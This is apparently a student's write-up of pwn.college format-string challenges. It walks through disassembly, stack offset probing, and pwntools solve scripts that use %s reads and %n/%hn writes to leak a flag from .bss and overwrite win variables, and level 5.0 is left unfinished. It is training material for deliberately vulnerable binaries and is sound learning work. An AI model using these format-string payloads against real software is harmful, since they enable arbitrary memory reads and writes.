pwn.college: Format String Exploits
hihi byebye
contents
#level 3.0
#checksec, functions, running binary
pwndbg> checksec
File: /home/river/ctf/pwncollege/formatstring3/babyfmt_level3.0
Arch: amd64
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: Nopwndbg> info functions
All defined functions:
Non-debugging symbols:
0x0000000000401000 _init
0x00000000004010e0 putchar@plt
0x00000000004010f0 puts@plt
0x0000000000401100 __stack_chk_fail@plt
0x0000000000401110 setbuf@plt
0x0000000000401120 printf@plt
0x0000000000401130 __assert_fail@plt
0x0000000000401140 read@plt
0x0000000000401150 srand@plt
0x0000000000401160 time@plt
0x0000000000401170 setvbuf@plt
0x0000000000401180 open@plt
0x0000000000401190 _start
0x00000000004011c0 _dl_relocate_static_pie
0x00000000004011d0 deregister_tm_clones
0x0000000000401200 register_tm_clones
0x0000000000401240 __do_global_dtors_aux
0x0000000000401270 frame_dummy
0x0000000000401276 DUMP_STACK
0x0000000000401479 init
0x00000000004014c0 func
0x000000000040170f main
0x0000000000401830 __libc_csu_init
0x00000000004018a0 __libc_csu_fini
0x00000000004018a8 _fini$ ./babyfmt_level3.0
###
### Welcome to ./babyfmt_level3.0!
###
This challenge reads in some bytes, calls printf on that string, and allows you to perform
a format string attack. Through this series of challenges, you will become painfully familiar
with the concept of Format String Attacks!
This challenge allows you to make a 256-sized format string.
This challenge reads the flag into the .bss! Nice and easy; just read it out!
So, the flag is in the .bss. How are you going to get it?
One way to do it is to use %s in your format string. It will dereference a pointer
and print the string that the pointer is pointing to. This is perfect for leaking the
flag from the BSS!
But there's one problem... Unlike level 1, you don't have a pointer to the bss on the stack.
The solution? Write this address in as part of your format string, then use a positional %s (i.e.,
%X$s with the correct X) to use that address as the pointer. That way, you have full control of
the address!
In this case, the address you want is 0x404140. Remember to input it in little endian! To debug what
address your %s will dereference, you can replace 's' with 'x' and see what the address is
being interpreted at.
I will now read up to 256 bytes. Send your data!#disass main
Dump of assembler code for function main:
0x000000000040170f <+0>: endbr64
0x0000000000401713 <+4>: push rbp
0x0000000000401714 <+5>: mov rbp,rsp
0x0000000000401717 <+8>: sub rsp,0x20
0x000000000040171b <+12>: mov DWORD PTR [rbp-0x4],edi
0x000000000040171e <+15>: mov QWORD PTR [rbp-0x10],rsi
0x0000000000401722 <+19>: mov QWORD PTR [rbp-0x18],rdx
0x0000000000401726 <+23>: mov rax,QWORD PTR [rip+0x2963] # 0x404090 <stdin@@GLIBC_2.2.5>
0x000000000040172d <+30>: mov ecx,0x0
0x0000000000401732 <+35>: mov edx,0x2
0x0000000000401737 <+40>: mov esi,0x0
0x000000000040173c <+45>: mov rdi,rax
0x000000000040173f <+48>: call 0x401170 <setvbuf@plt>
0x0000000000401744 <+53>: mov rax,QWORD PTR [rip+0x2935] # 0x404080 <stdout@@GLIBC_2.2.5>
0x000000000040174b <+60>: mov ecx,0x0
0x0000000000401750 <+65>: mov edx,0x2
0x0000000000401755 <+70>: mov esi,0x0
0x000000000040175a <+75>: mov rdi,rax
0x000000000040175d <+78>: call 0x401170 <setvbuf@plt>
0x0000000000401762 <+83>: lea rdi,[rip+0xd65] # 0x4024ce
0x0000000000401769 <+90>: call 0x4010f0 <puts@plt>
0x000000000040176e <+95>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000401772 <+99>: mov rax,QWORD PTR [rax]
0x0000000000401775 <+102>: mov rsi,rax
0x0000000000401778 <+105>: lea rdi,[rip+0xd53] # 0x4024d2
0x000000000040177f <+112>: mov eax,0x0
0x0000000000401784 <+117>: call 0x401120 <printf@plt>
0x0000000000401789 <+122>: lea rdi,[rip+0xd3e] # 0x4024ce
0x0000000000401790 <+129>: call 0x4010f0 <puts@plt>
0x0000000000401795 <+134>: mov edi,0xa
0x000000000040179a <+139>: call 0x4010e0 <putchar@plt>
0x000000000040179f <+144>: cmp DWORD PTR [rbp-0x4],0x0
0x00000000004017a3 <+148>: jg 0x4017c4 <main+181>
0x00000000004017a5 <+150>: lea rcx,[rip+0xe86] # 0x402632 <__PRETTY_FUNCTION__.5740>
0x00000000004017ac <+157>: mov edx,0x9e
0x00000000004017b1 <+162>: lea rsi,[rip+0xd2e] # 0x4024e6
0x00000000004017b8 <+169>: lea rdi,[rip+0xd2f] # 0x4024ee
0x00000000004017bf <+176>: call 0x401130 <__assert_fail@plt>
0x00000000004017c4 <+181>: lea rdi,[rip+0xd2d] # 0x4024f8
0x00000000004017cb <+188>: call 0x4010f0 <puts@plt>
0x00000000004017d0 <+193>: lea rdi,[rip+0xd81] # 0x402558
0x00000000004017d7 <+200>: call 0x4010f0 <puts@plt>
0x00000000004017dc <+205>: lea rdi,[rip+0xdd5] # 0x4025b8
0x00000000004017e3 <+212>: call 0x4010f0 <puts@plt>
0x00000000004017e8 <+217>: mov edi,0xa
0x00000000004017ed <+222>: call 0x4010e0 <putchar@plt>
0x00000000004017f2 <+227>: mov esi,0x100
0x00000000004017f7 <+232>: lea rdi,[rip+0xdea] # 0x4025e8
0x00000000004017fe <+239>: mov eax,0x0
0x0000000000401803 <+244>: call 0x401120 <printf@plt>
0x0000000000401808 <+249>: mov edi,0xa
0x000000000040180d <+254>: call 0x4010e0 <putchar@plt>
0x0000000000401812 <+259>: call 0x4014c0 <func>
0x0000000000401817 <+264>: lea rdi,[rip+0xe07] # 0x402625
0x000000000040181e <+271>: call 0x4010f0 <puts@plt>
0x0000000000401823 <+276>: mov eax,0x0
0x0000000000401828 <+281>: leave
0x0000000000401829 <+282>: ret
End of assembler dump.
pwndbg>func function being called:
0x0000000000401812 <+259>: call 0x4014c0 <func>#diass func
Dump of assembler code for function func:
0x00000000004014c0 <+0>: endbr64
0x00000000004014c4 <+4>: push rbp
0x00000000004014c5 <+5>: mov rbp,rsp
0x00000000004014c8 <+8>: sub rsp,0x200
0x00000000004014cf <+15>: mov rax,QWORD PTR fs:0x28
0x00000000004014d8 <+24>: mov QWORD PTR [rbp-0x8],rax
0x00000000004014dc <+28>: xor eax,eax
0x00000000004014de <+30>: mov rax,rsp
0x00000000004014e1 <+33>: mov QWORD PTR [rip+0x2cf0],rax # 0x4041d8 <sp_>
0x00000000004014e8 <+40>: mov rax,rbp
0x00000000004014eb <+43>: mov QWORD PTR [rip+0x2bde],rax # 0x4040d0 <bp_>
0x00000000004014f2 <+50>: mov rdx,QWORD PTR [rip+0x2bd7] # 0x4040d0 <bp_>
0x00000000004014f9 <+57>: mov rax,QWORD PTR [rip+0x2cd8] # 0x4041d8 <sp_>
0x0000000000401500 <+64>: sub rdx,rax
0x0000000000401503 <+67>: mov rax,rdx
0x0000000000401506 <+70>: shr rax,0x3
0x000000000040150a <+74>: add rax,0x2
0x000000000040150e <+78>: mov QWORD PTR [rip+0x2cb3],rax # 0x4041c8 <sz_>
0x0000000000401515 <+85>: mov rax,QWORD PTR [rip+0x2bb4] # 0x4040d0 <bp_>
0x000000000040151c <+92>: add rax,0x8
0x0000000000401520 <+96>: mov QWORD PTR [rip+0x2ca9],rax # 0x4041d0 <rp_>
0x0000000000401527 <+103>: lea rdx,[rbp-0x200]
0x000000000040152e <+110>: mov eax,0x0
0x0000000000401533 <+115>: mov ecx,0x3e
0x0000000000401538 <+120>: mov rdi,rdx
0x000000000040153b <+123>: rep stos QWORD PTR es:[rdi],rax
0x000000000040153e <+126>: mov edi,0x0
0x0000000000401543 <+131>: call 0x401160 <time@plt>
0x0000000000401548 <+136>: mov edi,eax
0x000000000040154a <+138>: call 0x401150 <srand@plt>
0x000000000040154f <+143>: lea rdi,[rip+0xb9a] # 0x4020f0
0x0000000000401556 <+150>: call 0x4010f0 <puts@plt>
0x000000000040155b <+155>: mov esi,0x0
0x0000000000401560 <+160>: lea rdi,[rip+0xbd7] # 0x40213e
0x0000000000401567 <+167>: mov eax,0x0
0x000000000040156c <+172>: call 0x401180 <open@plt>
0x0000000000401571 <+177>: mov edx,0x80
0x0000000000401576 <+182>: lea rsi,[rip+0x2bc3] # 0x404140 <global+96>
0x000000000040157d <+189>: mov edi,eax
0x000000000040157f <+191>: call 0x401140 <read@plt>
0x0000000000401584 <+196>: mov edi,0xa
0x0000000000401589 <+201>: call 0x4010e0 <putchar@plt>
0x000000000040158e <+206>: lea rdi,[rip+0xbb3] # 0x402148
0x0000000000401595 <+213>: call 0x4010f0 <puts@plt>
0x000000000040159a <+218>: lea rdi,[rip+0xbe7] # 0x402188
0x00000000004015a1 <+225>: mov eax,0x0
0x00000000004015a6 <+230>: call 0x401120 <printf@plt>
0x00000000004015ab <+235>: lea rdi,[rip+0xc2e] # 0x4021e0
0x00000000004015b2 <+242>: call 0x4010f0 <puts@plt>
0x00000000004015b7 <+247>: lea rdi,[rip+0xc78] # 0x402236
0x00000000004015be <+254>: call 0x4010f0 <puts@plt>
0x00000000004015c3 <+259>: mov edi,0xa
0x00000000004015c8 <+264>: call 0x4010e0 <putchar@plt>
0x00000000004015cd <+269>: lea rdi,[rip+0xc7c] # 0x402250
0x00000000004015d4 <+276>: call 0x4010f0 <puts@plt>
0x00000000004015d9 <+281>: lea rdi,[rip+0xcd0] # 0x4022b0
0x00000000004015e0 <+288>: mov eax,0x0
0x00000000004015e5 <+293>: call 0x401120 <printf@plt>
0x00000000004015ea <+298>: lea rdi,[rip+0xd27] # 0x402318
0x00000000004015f1 <+305>: mov eax,0x0
0x00000000004015f6 <+310>: call 0x401120 <printf@plt>
0x00000000004015fb <+315>: lea rdi,[rip+0xd78] # 0x40237a
0x0000000000401602 <+322>: call 0x4010f0 <puts@plt>
0x0000000000401607 <+327>: mov edi,0xa
0x000000000040160c <+332>: call 0x4010e0 <putchar@plt>
0x0000000000401611 <+337>: lea rsi,[rip+0x2b28] # 0x404140 <global+96>
0x0000000000401618 <+344>: lea rdi,[rip+0xd69] # 0x402388
0x000000000040161f <+351>: mov eax,0x0
0x0000000000401624 <+356>: call 0x401120 <printf@plt>
0x0000000000401629 <+361>: lea rdi,[rip+0xdb8] # 0x4023e8
0x0000000000401630 <+368>: mov eax,0x0
0x0000000000401635 <+373>: call 0x401120 <printf@plt>
0x000000000040163a <+378>: lea rdi,[rip+0xe04] # 0x402445
0x0000000000401641 <+385>: call 0x4010f0 <puts@plt>
0x0000000000401646 <+390>: mov esi,0x100
0x000000000040164b <+395>: lea rdi,[rip+0xe0e] # 0x402460
0x0000000000401652 <+402>: mov eax,0x0
0x0000000000401657 <+407>: call 0x401120 <printf@plt>
0x000000000040165c <+412>: lea rax,[rbp-0x200]
0x0000000000401663 <+419>: add rax,0xa4
0x0000000000401669 <+425>: mov edx,0x100
0x000000000040166e <+430>: mov rsi,rax
0x0000000000401671 <+433>: mov edi,0x0
0x0000000000401676 <+438>: call 0x401140 <read@plt>
0x000000000040167b <+443>: mov DWORD PTR [rbp-0x19c],eax
0x0000000000401681 <+449>: mov eax,DWORD PTR [rbp-0x19c]
0x0000000000401687 <+455>: cdqe
0x0000000000401689 <+457>: mov BYTE PTR [rbp+rax*1-0x15c],0x0
0x0000000000401691 <+465>: mov eax,DWORD PTR [rbp-0x19c]
0x0000000000401697 <+471>: mov esi,eax
0x0000000000401699 <+473>: lea rdi,[rip+0xdf1] # 0x402491
0x00000000004016a0 <+480>: mov eax,0x0
0x00000000004016a5 <+485>: call 0x401120 <printf@plt>
0x00000000004016aa <+490>: mov edi,0xa
0x00000000004016af <+495>: call 0x4010e0 <putchar@plt>
0x00000000004016b4 <+500>: mov esi,0x100
0x00000000004016b9 <+505>: lea rdi,[rip+0xde8] # 0x4024a8
0x00000000004016c0 <+512>: mov eax,0x0
0x00000000004016c5 <+517>: call 0x401120 <printf@plt>
0x00000000004016ca <+522>: mov edi,0xa
0x00000000004016cf <+527>: call 0x4010e0 <putchar@plt>
0x00000000004016d4 <+532>: lea rax,[rbp-0x200]
0x00000000004016db <+539>: add rax,0xa4
0x00000000004016e1 <+545>: mov rdi,rax
0x00000000004016e4 <+548>: mov eax,0x0
0x00000000004016e9 <+553>: call 0x401120 <printf@plt>
0x00000000004016ee <+558>: mov edi,0xa
0x00000000004016f3 <+563>: call 0x4010e0 <putchar@plt>
0x00000000004016f8 <+568>: nop
0x00000000004016f9 <+569>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004016fd <+573>: xor rax,QWORD PTR fs:0x28
0x0000000000401706 <+582>: je 0x40170d <func+589>
0x0000000000401708 <+584>: call 0x401100 <__stack_chk_fail@plt>
0x000000000040170d <+589>: leave
0x000000000040170e <+590>: ret
End of assembler dump.#solve
format specifiers to keep in mind:
- %s (string) =
- %d (decimal)
- %p (memory address/pointer value)
- %x (hexadecimal integer)
- %lx (long hexadecimal integer)
started with this payload just to see where i was landing:
from pwn import *
context.arch = 'amd64'
p = process('./babyfmt_level3.0')
payload = b'AAAAAAAA' + "".join(f".{i}=%{i}$lx" for i in range(15, 35)).encode()
p.send(payload)
print(p.recvall())Send your data!\nReceived 208 bytes!\n\nI will now call printf on your data!\n\nAAAAAAAA.15=0.16=0.17=0.18=d000000000.19=0.20=0.21=0.22=0.23=0.24=0.25=0.26=4141414100000000.27=3d35312e41414141.28=312e786c24353125.29=786c243631253d36.30=243731253d37312e.31=31253d38312e786c.32=3d39312e786c2438.33=322e786c24393125.34=786c243032253d30\n### Goodbye!\n"
looks like we are starting 4 bytes offset/misaligned (on top of our already exising 8) for whatever reason
tried this payload to see if we can get a clean offset/slot:
payload = b'AAAAAAAA' + b'BBBB' + "".join(f".{i}=%{i}$lx" for i in range(15, 35)).encode()hacker@format-string-exploits~level3-0:~$ /run/dojo/bin/python /home/hacker/solve.py
[+] Starting local process '/challenge/babyfmt_level3.0': pid 868
[+] Receiving all data: Done (329B)
[*] Process '/challenge/babyfmt_level3.0' stopped with exit code 0 (pid 868)
b'Received 212 bytes!\n\nI will now call printf on your data!\n\nAAAAAAAABBBB.15=0.16=0.17=0.18=d400000000.19=0.20=0.21=0.22=0.23=0.24=0.25=0.26=4141414100000000.27=4242424241414141.28=243531253d35312e.29=31253d36312e786c.30=3d37312e786c2436.31=312e786c24373125.32=786c243831253d38.33=243931253d39312e.34=32253d30322e786c\n### Goodbye!\n'try dereferencing address:
payload = b'%28$s'.ljust(12, b'A') + bss # final payload -_-hacker@format-string-exploits~level3-0:~$ /run/dojo/bin/python /home/hacker/solve.py
[+] Starting local process '/challenge/babyfmt_level3.0': pid 1389
[+] Receiving all data: Done (140B)
[*] Process '/challenge/babyfmt_level3.0' stopped with exit code 0 (pid 1389)
b'Received 20 bytes!\n\nI will now call printf on your data!\n\npwn.college{45tESBTnEyp_Lui6R4WzGhJlTvw.dBjM0MDL3UzM1YzW}\nAAAAAAA@A@\n### Goodbye!\n'#level 3.1
#challenge info
same thing as 3.0, only difference is we are NOT given the flag address, so we have to figure that out on our own
#static analysis via ida pro
pseudocode for func:

this particular snippet gives away the address of the flag (comments are mine):
v1 = open("/flag", 0); // open /flag, store the file descriptor in v1
read(v1, &unk_404110, 0x80u); // copy up to 128 bytes FROM the file (v1) INTO memory at 0x404110#solve
try to get a clean offset/slot:
from pwn import *
context.arch = 'amd64'
bss = p64(0x404110)
p = process('/challenge/babyfmt_level3.1')
p.recvuntil(b'Send your data!\n')
payload = b'A' * 8 + "".join(f".{i}=%{i}$lx" for i in range(15, 35)).encode()
p.send(payload)
print(p.recvall())
i kept on playing/tweaking the amount of bytes until I finally got a clean slot, keep in mind that this method is good for getting a ballpark estimate of which slot to shoot for, but it won't be exact:
payload = b'A' * 11 + "".join(f".{i}=%{i}$lx" for i in range(15, 35)).encode()
then i made a pseudo-payload to see if I could find the real slot, which I know has to be around 22:
payload = b'%22$lx'.ljust(11, b'A') + bss
still not seeing the address i'm trying to dereference though...
payload = b'%23$lx'.ljust(11, b'A') + bss
BANG! now just dereference the address (change format specifier to %s):
payload = b'%23$s'.ljust(11, b'A') + bss # final payload -_-
#level 4.0
okay this time the objective is to use a format string exploit to SET a global variable
$ ./babyfmt_level4.0
###
### Welcome to ./babyfmt_level4.0!
###
This challenge reads in some bytes, calls printf on that string, and allows you to perform
a format string attack. Through this series of challenges, you will become painfully familiar
with the concept of Format String Attacks!
This challenge allows you to make a 256-sized format string.
This challenge requires you to set a win value, located in the .bss, to 0xb8. If you successfully
pull that off, the challenge will give you the flag! You will need to use %n to set this value
The win value in the .bss is located at 0x404150! Remember to write this in little endian in your format string.
Remember, you can swap %n with %lx to see what address you will be writing into to make sure you have the.correct offset.
I will now read up to 256 bytes. Send your data!
#finding correct padding + slot
started off with just 8 'A's, kept playing/messing with it, until eventually I landed on this:
payload = b'A'* 5
payload += b'B'* 8
payload += b''.join(f'.{i}=%{i}$lx'.encode() for i in range(12, 40))
#%n gimmick
so now all i've gotta do is write the value 0xb8 into the variable stored at 0x404150 (using %n). remember, unlike %x or %p, %n just writes the number of characters printed so far into an integer variable
the problem? we can't just do something like
target = b'0xb8'because %n doesn't write whatever we want, it just writes the amount of characters printed. so the work around is to send 0xb8 in decimal form (which is just 184)
#solve
spec = b'%184c%32$n'
payload = spec.ljust(13, b'A') + p64(0x404150)#level 4.1
#check_win
pwndbg> disass check_win
Dump of assembler code for function check_win:
0x00000000004012dd <+0>: endbr64
0x00000000004012e1 <+4>: push rbp
0x00000000004012e2 <+5>: mov rbp,rsp
0x00000000004012e5 <+8>: sub rsp,0x10
0x00000000004012e9 <+12>: mov QWORD PTR [rbp-0x8],rdi
0x00000000004012ed <+16>: lea rdi,[rip+0xd14] # 0x402008
0x00000000004012f4 <+23>: call 0x401100 <puts@plt>
0x00000000004012f9 <+28>: mov esi,0xad
0x00000000004012fe <+33>: lea rdi,[rip+0xd19] # 0x40201e
0x0000000000401305 <+40>: mov eax,0x0
0x000000000040130a <+45>: call 0x401130 <printf@plt>
0x000000000040130f <+50>: mov rax,QWORD PTR [rip+0x2e1a] # 0x404130 <global+80>
0x0000000000401316 <+57>: mov rsi,rax
0x0000000000401319 <+60>: lea rdi,[rip+0xd1b] # 0x40203b
0x0000000000401320 <+67>: mov eax,0x0
0x0000000000401325 <+72>: call 0x401130 <printf@plt>
0x000000000040132a <+77>: mov rax,QWORD PTR [rip+0x2dff] # 0x404130 <global+80>
0x0000000000401331 <+84>: cmp rax,0xad
0x0000000000401337 <+90>: jne 0x401373 <check_win+150>
0x0000000000401339 <+92>: lea rdi,[rip+0xd18] # 0x402058
0x0000000000401340 <+99>: call 0x401100 <puts@plt>
0x0000000000401345 <+104>: mov esi,0x0
0x000000000040134a <+109>: lea rdi,[rip+0xd27] # 0x402078
0x0000000000401351 <+116>: mov eax,0x0
0x0000000000401356 <+121>: call 0x4011a0 <open@plt>
0x000000000040135b <+126>: mov ecx,0x80
0x0000000000401360 <+131>: mov edx,0x0
0x0000000000401365 <+136>: mov esi,eax
0x0000000000401367 <+138>: mov edi,0x1
0x000000000040136c <+143>: call 0x401180 <sendfile@plt>
0x0000000000401371 <+148>: jmp 0x40137f <check_win+162>
0x0000000000401373 <+150>: lea rdi,[rip+0xd04] # 0x40207e
0x000000000040137a <+157>: call 0x401100 <puts@plt>
0x000000000040137f <+162>: nop
0x0000000000401380 <+163>: leave
0x0000000000401381 <+164>: ret
End of assembler dump.addr we want is 0x404130, value we want is 0xad, which in decimal is 173
#finding clean slot
payload = b'A'* 8
payload += b''.join(f'.{i}=%{i}$lx'.encode() for i in range(12, 40))returns:
b"Received 256 bytes!\n\nI will now call printf on your data!\n\nAAAAAAAA.12=0.13=0.14=0.15=0.16=10000000000.17=0.18=4141414141414141.19=243231253d32312e.20=31253d33312e786c.21=3d34312e786c2433.22=312e786c24343125.23=786c243531253d35.24=243631253d36312e.25=31253d37312e786c.26=3d38312e786c2437.27=312e786c24383125.28=786c243931253d39.29=243032253d30322e.30=32253d31322e786c.31=3d32322e786c2431.32=322e786c24323225.33=786c243332253d33.34=243432253d34322e.35=32253d35322e786c.36=%\nAnd now, let's check the win value!\nChecking win value...\n... desired win value: 0xad\n... written win value: 0\n... INCORRECT!\n### Goodbye!\n"so 8 bytes should be enough padding then, right? clearly 18 is filled, and 19 would be the "clean" slot. however, there is one caveat:
because the payload we are sending will be more than 8 bytes by default, we can't do 8 bytes of padding. however, our payload will obviously be less than 16, so we can just do 16 bytes of padding. if this doesn't make sense get a grip
#solve
spec = b'%173c%19$n'
payload = spec.ljust(16, b'A') + p64(0x404130)#level 5.0
#challenge info
###
### Welcome to ./babyfmt_level5.0!
###
This challenge reads in some bytes, calls printf on that string, and allows you to perform
a format string attack. Through this series of challenges, you will become painfully familiar
with the concept of Format String Attacks!
This challenge allows you to make a 256-sized format string.
This challenge requires you to set a win value, located in the .bss, to 0xf6943a3523fd282c. If you successfully
pull that off, the challenge will give you the flag! You will need to use %n to set this value
Moreover, since the win value is so large, you will need to use several %hn writes rather than an %ln.
The win value in the .bss is located at 0x404160! Remember to write this in little endian in your format string.
Remember, you can swap %n with %lx to see what address you will be writing into to make sure you have the.correct offset.
I will now read up to 256 bytes. Send your data!
one important thing to note is that i'm going to have to send the "chunks" in ascending order, since of course the %n counter can only tally up
#fails
tried using pwntools built in function:
from pwn import *
context.arch = 'amd64'
p = process('/challenge/babyfmt_level5.0')
p.recvuntil(b'Send your data!\n')
payload = fmtstr_payload(
offset=14,
writes={0x404160: 0xf6943a3523fd282c},
write_size='short'
)
p.send(payload)
print(p.recvall().decode(errors='replace'))still had no luck, assuming wrong padding. got tired of experimenting so just checked in ida pro
#examining in ida
func pseudocode:
unsigned __int64 func()
{
unsigned int v0; // eax
_DWORD v2[86]; // [rsp+0h] [rbp-160h] BYREF
unsigned __int64 v3; // [rsp+158h] [rbp-8h]
__int64 savedregs; // [rsp+160h] [rbp+0h] BYREF
_UNKNOWN *retaddr; // [rsp+168h] [rbp+8h] BYREF
v3 = __readfsqword(0x28u);
sp_ = (__int64)v2;
bp_ = (__int64)&savedregs;
sz_ = ((unsigned __int64)((char *)&savedregs - (char *)v2) >> 3) + 2;
rp_ = (__int64)&retaddr;
memset(v2, 0, sizeof(v2));
v0 = time(nullptr);
srand(v0);
printf(
"This challenge requires you to set a win value, located in the .bss, to %#lx. If you successfully\n",
0xF6943A3523FD282CLL);
printf("pull that off, the challenge will give you the flag! You will need to use %%n to set this value\n");
printf("Moreover, since the win value is so large, you will need to use several %%hn writes rather than an %%ln.\n");
putchar(10);
printf(
"The win value in the .bss is located at %p! Remember to write this in little endian in your format string.\n",
&qword_404160);
printf("Remember, you can swap %%n with %%lx to see what address you will be writing into to make sure you have the.");
puts("correct offset.\n");
printf("I will now read up to %d bytes. Send your data!\n", 256);
v2[13] = read(0, (char *)&v2[16] + 2, 0x100u);
*((_BYTE *)&v2[16] + v2[13] + 2) = 0;
printf("Received %d bytes!\n", v2[13]);
putchar(10);
printf("I will now call printf on your data!\n");
putchar(10);
printf((const char *)&v2[16] + 2, 256);
putchar(10);
puts("And now, let's check the win value!");
check_win(0);
return __readfsqword(0x28u) ^ v3;
}vulnerable printf is clear as day: printf((const char *)&v2[16] + 2, 256);, also that +2 is going to be a villain, since &v2[16] is byte aligned/perfect, but the +2 is going to push us forward 2 bytes. this is fine though, i can just add 6 bytes of padding. there is a problem with this though, those 6 bytes of padding will eventually affect the actual payload
it's at address 0x40173b
#using pwndbg to find offset
pwndbg> b *0x40173b
Breakpoint 1 at 0x40173b
pwndbg> r
###
### Welcome to /home/river/ctf/pwncollege/formatstrings/5.0/babyfmt_level5.0!
###
This challenge reads in some bytes, calls printf on that string, and allows you to perform
a format string attack. Through this series of challenges, you will become painfully familiar
with the concept of Format String Attacks!
This challenge allows you to make a 256-sized format string.
This challenge requires you to set a win value, located in the .bss, to 0xf6943a3523fd282c. If you successfully
pull that off, the challenge will give you the flag! You will need to use %n to set this value
Moreover, since the win value is so large, you will need to use several %hn writes rather than an %ln.
The win value in the .bss is located at 0x404160! Remember to write this in little endian in your format string.
Remember, you can swap %n with %lx to see what address you will be writing into to make sure you have the.correct offset.
I will now read up to 256 bytes. Send your data!
AAAAAAAABBBBBBBB
Received 17 bytes!
I will now call printf on your data!
---SNIP---
pwndbg> x/60gx $rsp
0x7fffffffd700: 0x0000000000000000 0x0000000000000000
0x7fffffffd710: 0x0000000000000000 0x0000000000000000
0x7fffffffd720: 0x0000000000000000 0x0000000000000000
0x7fffffffd730: 0x0000001100000000 0x0000000000000000
0x7fffffffd740: 0x4141414141410000 0x4242424242424141
0x7fffffffd750: 0x00000000000a4242 0x0000000000000000
0x7fffffffd760: 0x0000000000000000 0x0000000000000000
0x7fffffffd770: 0x0000000000000000 0x0000000000000000
0x7fffffffd780: 0x0000000000000000 0x0000000000000000
0x7fffffffd790: 0x0000000000000000 0x0000000000000000
0x7fffffffd7a0: 0x0000000000000000 0x0000000000000000
0x7fffffffd7b0: 0x0000000000000000 0x0000000000000000
0x7fffffffd7c0: 0x0000000000000000 0x0000000000000000
0x7fffffffd7d0: 0x0000000000000000 0x0000000000000000
0x7fffffffd7e0: 0x0000000000000000 0x0000000000000000
0x7fffffffd7f0: 0x0000000000000000 0x0000000000000000
0x7fffffffd800: 0x0000000000000000 0x0000000000000000
0x7fffffffd810: 0x0000000000000000 0x0000000000000000
0x7fffffffd820: 0x0000000000000000 0x0000000000000000
0x7fffffffd830: 0x0000000000000000 0x0000000000000000
0x7fffffffd840: 0x0000000000000000 0x0000000000000000
0x7fffffffd850: 0x0000000000000000 0xbd7576d404a30e00
0x7fffffffd860: 0x00007fffffffd890 0x000000000040187f
0x7fffffffd870: 0x0000000000000000 0x00007fffffffd9c8
0x7fffffffd880: 0x00007fffffffd9b8 0x00000001f7e45168
0x7fffffffd890: 0x00007fffffffd9b8 0x00007ffff7ddffba
0x7fffffffd8a0: 0x00007ffff7f9e4a0 0x0000000000401777
0x7fffffffd8b0: 0x0000000100000000 0x00007fffffffd9b8
0x7fffffffd8c0: 0x00007ffff7f9e4a0 0x00007ffff7e385c6
0x7fffffffd8d0: 0x0000000000000000 0xdaae61a227cbf3ef0xd740 is where i'm landing, with 2 bytes of misalignment, so 0xd748 is going to be the clean boundary after the 6 bytes of padding
WILL I EVER FINISH THIS WHO KNOWS??
#level 5.1
#challenge info
###
### Welcome to /challenge/babyfmt_level5.1!
###
This challenge reads in some bytes, calls printf on that string, and allows you to perform
a format string attack. Through this series of challenges, you will become painfully familiar
with the concept of Format String Attacks!
This challenge allows you to make a 256-sized format string.
This challenge requires you to set a win value, located in the .bss, to 0x96d91d0c8e667fed. If you successfully
pull that off, the challenge will give you the flag! You will need to use %n to set this value
Moreover, since the win value is so large, you will need to use several %hn writes rather than an %ln.
You will have to reverse-engineer the check_win() function to understand where in the .bss
the win value is located.#finding address
opened ida & looked at check_win pseudocode:
int check_win()
{
int v0; // eax
puts("Checking win value...");
printf("... desired win value: %#lx\n", 0x96D91D0C8E667FEDLL);
printf("... written win value: %#lx\n", qword_404108);
if ( qword_404108 != 0x96D91D0C8E667FEDLL )
return puts("... INCORRECT!");
puts("... SUCCESS! Here is your flag:");
v0 = open("/flag", 0);
return sendfile(1, v0, nullptr, 0x80u);
}404108 is our target address
#finding slot + padding
payload = b'A'* 8
payload += b'B' * 8
payload += b''.join(f'.{i}=%{i}$lx'.encode() for i in range(12, 40))returns:
Received 256 bytes!
I will now call printf on your data!
AAAAAAAABBBBBBBB.12=0.13=0.14=10000000000.15=0.16=0.17=0.18=0.19=0.20=0.21=0.22=0.23=0.24=0.25=0.26=0.27=0.28=0.29=0.30=0.31=4141414141414141.32=4242424242424242.33=243231253d32312e.34=31253d33312e786c.35=3d34312e786c2433
And now, let's check the win value!
Checking win value...
... desired win value: 0x96d91d0c8e667fed
... written win value: 0
... INCORRECT!
### Goodbye!so slot 33, and 16 bytes of padding
#solve
payload = b'A'*16 + fmtstr_payload(33, {0x404108: 0x96d91d0c8e667fed},
write_size='short', numbwritten=16)